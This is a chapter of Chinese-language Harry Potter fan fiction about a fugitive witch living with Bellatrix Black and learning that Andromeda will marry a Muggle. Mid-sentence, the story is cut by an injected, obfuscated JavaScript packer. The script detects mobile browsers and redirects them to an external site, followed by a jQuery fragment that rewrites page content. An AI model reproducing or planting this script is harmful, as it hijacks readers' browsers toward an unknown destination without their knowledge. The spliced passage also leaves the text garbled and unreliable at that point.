24.弃绝恶物

    贝拉特里克斯·布莱克小姐又被我绑架了。


    从魔法部更新的通缉原因来看,我二度绑架布莱克小姐已经不是最重的罪名,杀死十三位麻瓜并胁迫纯血家族十数位巫师清理犯罪现场令他们罹患精神疾病才真正令我成为目前全英国最危险的巫师。


    巫师,真脆弱啊。


    -


    新一场的食死徒集会举办在圣芒戈的精神卫生中心——应该是叫这个吧,不是也没关系,反正这一片的本质就是精神卫生中心——黑魔王没有来,据说他去见传奇黑巫师维达·加尔了。


    贝拉特里克斯也没有来,据说是她把维达·加尔引荐给黑魔王的。


    她怎么还惦记着这个维达·加尔啊!


    食死徒们叫苦不迭,此时,午餐的番茄浓汤被端上来,这帮巫师们也没有声讨什么人的心思了,他们一个个面色惨白,更有甚者不断发出呕吐声。


    治疗师称,这是成本最低的脱敏疗法。


    好在第二天传来消息,黑魔王拒绝见这个危险且臭名昭著的黑巫师。


    太好了!


    -


    我在外面躲藏了两年多。贝拉帮我找到一个地处于伦敦的房子,这里楼上楼下都是艺术家,大家都很奇怪,于是就都不奇怪了。


    期间,贝拉带着她的父母过来见过我,那是我寥寥几次与布莱克夫妇会面的场景。他们与过去十几年相比,变化不大,只是更有礼貌些了,竟然和我勉强有几个共同话题。


    我很震惊他们竟然会喜欢我的小羊,竟然会觉得我家的布艺沙发图案十分可爱,认为菠萝披萨是这个世界上最完美的食物。他们竟然过得如此新潮!


    好吧,其中,沙发是从他家杂物间捡来的,菠萝披萨是克利切上午烤的。克利切是布莱克家的仆人,有时会听从贝拉的吩咐来我家帮忙。


    它是一只唠叨的老家伙,我经常能撞到它在空无一人的房间里碎碎念,只是在我面前,它一言不发。我曾经命令它与我对话,它却说:“不得了了,贝拉主人说加尔小姐要找克利切麻烦了,克利切必须立马消失,克利切必须保护自己!”


    然后,它就消失在房间里,等到一天后才探头探脑地出现。


    后来我们熟悉了,它偶尔会问我晚上想不想吃煎鱼,以及问我和贝拉相处得怎么样,还有就是劝我去找个正常工作——哪怕是麻瓜的工作也好——这是布莱克夫人想说的。


    于是,我就以编织和雕刻为生。白天在工作间工作,傍晚的时候就背着作品去地铁附近贩卖。后来竟然做得还不错,贝拉就出资,让我在破釜酒吧附近的麻瓜街道上开了一家小店。


    来来往往里我偶尔会遇到巫师,巫师也大多能认出我,但是没有人去举报我,傲罗也没有来过,就像这里设置过巫师驱逐咒般。


    某日,克利切过来收拾店铺时,不经意地把一根魔杖扔在地上,我捡起它,发觉用得挺顺手,就收下了。


    这两年十分平静,除了贝拉从未放弃让我继续学习。她指望我自学成才,后来发现我实在不是念书的料子,就压着我学黑魔法,越是攻击力强的就越优先,就好像我无法保护自己一样。然后就是推销她那个无所不能的黑魔王。


    我认为这十分有趣。就问她那个黑魔王有什么好的。


    鉴于伏地魔曾经对我与小羊造成的伤害,我已先入为主地认定贝拉所崇拜的这个黑魔王也一定是个被伏地魔控制的可怜人,或者更说不定是那个伏地魔控制了贝拉,恶魔一贯会玩弄这些地狱的把戏。


    贝拉每向我介绍一次黑魔王是如何强大迷人,我就越唾弃这只寄生的魔鬼。


    曾经,贝拉想将我引荐给这个伏地魔,我已磨刀霍霍做好准备去杀掉他,却没想到那只恶魔退缩了。一定是他被我吓退了,着实可笑。


    这两年来,贝拉也不工作,除了去那个黑魔王那边就是看着我读书,后来也帮我看店。布莱克夫人有时候也会从店铺外面经过,与我对视几眼后就匆匆离开。我的店铺并不大,一开始也没人觉得我能弄出什么名堂,后来不知道怎么的,竟然也稀里糊涂地开下去,就是不怎么赚钱罢了。


    好在我对物质的生活并不渴望,准确来说——我不知道应该怎么去花钱。我不像那些楼上楼下的艺术家那样去磕致幻剂,也不爱做个酒鬼,更没什么文化,每天除了工作就是回家躺着发呆,似乎这一切与阿兹卡班并没有什么区别。


    根据我的观察,规律生活的人实际上与坐牢也都没有什么区别,我并非个例,人生就是念书、工作、死亡。


    这样的生活与我儿时所过的日子有着天壤之别,我小时候从未想过我能够拥有一间小店铺,也没有想过能够靠着自己的手艺获取正当收入。这样很奇怪,远离坑蒙拐骗之后,人生竟然也能平淡无奇地过下去。


    人们不用假装道德,也不必制造独有的家庭秩序,一个人就能活得很好。


    这实在是有些过于奇怪了。


    我抬头看向窗外:老旧的木制窗框割开被克利切擦得一尘不染的玻璃,阳光就缓步走入房间,落在我的工作台上。锥子与羊毛毡散发暖融融的光芒,另一边是同样的木头橱窗,里面摆着已经做好的手工艺品。


    有时候,桌子的一角会留下贝拉的长头发,这是没有办法的事,她正处在头发旺盛且脱发的年纪。我用镊子夹起头发,顺手一个消失咒。我不知道消失咒背后的工作原理是什么,我从不深究这些,咒语只要好用就够了。


    店铺的门被推开,铃铛摇晃两声,我看见贝拉涨红了脸快步走进来。我赶紧把游戏机藏进抽屉里,作出认真工作的样子,然后颇具表演色彩地抬起头看向她。


    “发生什么事了,贝拉。”我关切道,“现在外面很热——你要喝水吗?”


    她恼怒地摆手,接着,又带给我一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347208|180430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个重磅消息:安多米达要结婚了。


    “她才十八岁就要结婚吗?”我很震撼,掰着手指头数了数,如果她今年结婚,明年生小孩,那么等到她三十七岁,她的小孩就也能结婚了!


    我妈妈可是四十岁才生下我的!


    贝拉倒是没对她妹妹结婚的年纪表现出什么不满,我以为她反对的是早婚,没想到她——以及她全家反对的是安多米达的未婚夫——那是一个麻瓜。


    实际上,我反对世界上所有的未婚夫和丈夫,因为我总是觉得他们是不忠诚的人。


    当我将这种忧虑告诉贝拉之后,贝拉不觉得安多米达考虑过这些,她否定安多米达的恋人的时候甚至也没有想到过人品之类的因素,只是单纯因为那个男人是个麻瓜。


    “不可以和麻瓜在一起吗?”我疑惑地问,“我以为布莱克夫人已经转变想法了——我们之间还挺能聊得来的。”


    贝拉噎了一下,她朝我翻个白眼:“你确定你们之间有共同话题吗?”


    “难道没有吗?”我大惊失色,立刻紧张起来“她也在骗我吗?她要对我做什么?”


    “不,她没有骗你。”贝拉沉默片刻之后说,“不说这些了,总之,如果安多米达过来找你,你不准支持她。”


    我点点头。安多米达的样子我都记不清了。离开阿兹卡班后,我和她相处的经历就像被磨平抛光的砂石一样,想回忆都不太可能。


    贝拉眯起眼睛观察我片刻后,拿起桌子上的针和线,开始往布偶身上缝。


    我想着抽屉里的游戏机,陡然升起一摸心虚感,也赶紧拿起羊毛毡戳戳。过了一会,我打开电视,开始看动画片。贝拉严肃地咳了一声,我继续拿起锥子心不在焉地戳。


    实际上,贝拉应该是多虑了。安多米达没有找过我,一直都没有。


    之后两个月里,贝拉的脸色越来越差,来找我的时候也十分暴躁。圣诞节时甚至都没有与她的家人一起过节,而是跑到我这里来,抓着我抱怨一直在家里闹脾气的安多米达。


    她说,安多米达怎么就不能像纳西莎那样省心,又或者像我——她说到这里的时候语气顿了一下,又摇摇头,说还好不像我。


    我心里十分气愤,就问她,我怎么又惹着她了,不是在骂安多米达吗,怎么又骂到我头上来了。


    贝拉特里克斯这个刻薄鬼这个时候才说漏了嘴,原来布莱克一家一直担心我哪天癫病发作了就把布莱克家也灭门了,所以她家才一直哄着我。


    ——我从来没有灭过谁谁谁家满门!


    我对这种污蔑行为深恶痛绝,并且重翻旧账,说布莱克家栽赃我是谋杀莎拉一家的从犯,害得我幼年失学,做了好多年牢。是布莱克家对不起我,他们应该为此赎罪!


    我的人生,就是被布莱克家毁掉了!


    “好了!”贝拉捂住我的嘴,“现在你不准说话!”